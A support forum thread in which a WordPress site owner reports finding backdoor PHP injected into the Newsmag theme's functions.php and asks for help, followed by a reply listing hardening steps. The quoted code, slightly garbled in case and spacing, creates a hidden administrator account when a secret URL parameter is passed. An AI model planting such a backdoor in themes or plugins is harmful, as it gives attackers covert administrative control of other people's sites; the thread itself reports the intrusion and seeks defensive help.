Hi!
My team and I would like to know if the TagDiv team is aware of or has already registered an occurrence of WP intrusion and malicious script insertion through the Newsmag theme.
And besides, we need help to solve this problem, because it occurred to us.
We detected in our WP blog a malicious script that executed the creation of a new user access level “administrator”.
Add_action ('wp_head', 'my_back');
Function my_back () {
If ($ _GET ['back'] == '2b4f6tx4') {
Require ('wp-includes / registration.php');
If (! Username_exists ('mr_admin')) {
$ User_id = wp_create_user ('guest', '2b4f6tx4');
$ User = new WP_User ($ user_id);
$ User-> set_role ('administrator');
}
}
}
This code has been inserted in wp-content/themes/Newsmag/functions.php.
There is no possibility of access not allowed via FTP. We already checked.
We found some mentions on the internet about this type of invasion using WordPress themes.
We have already removed the created user and are viewing the WP and theme files one by one to see if we find any more malicious scripts.
But we need help to block this kind of activity and avoid future problems.
Thank you very much!
1) make sure you’re using legal version of theme
2) do clean install of all wordpress folders via FTP, and clean installs of ALL plugins
3) delete old theme or plugin folders no longer used; they can still be exploited
4) make sure you’re running latest version of WordPress
5) scan site with securi scanner (free)
6) use plugins like “limit login attempts” to block IPs trying to guess passwords
7) disable all XMLRPC ability
8) make sure you’re using https for your site with forced SSL login
9) make sure you disable file editing ability for user levels in wp-config.php; disable automatic updates
10) reset all passwords for users, and ensure your superuser isn’t named “admin”
11) consider disabling all password reset functions
Make sure you do these steps
https://codex.wordpress.org/Hardening_WordPress
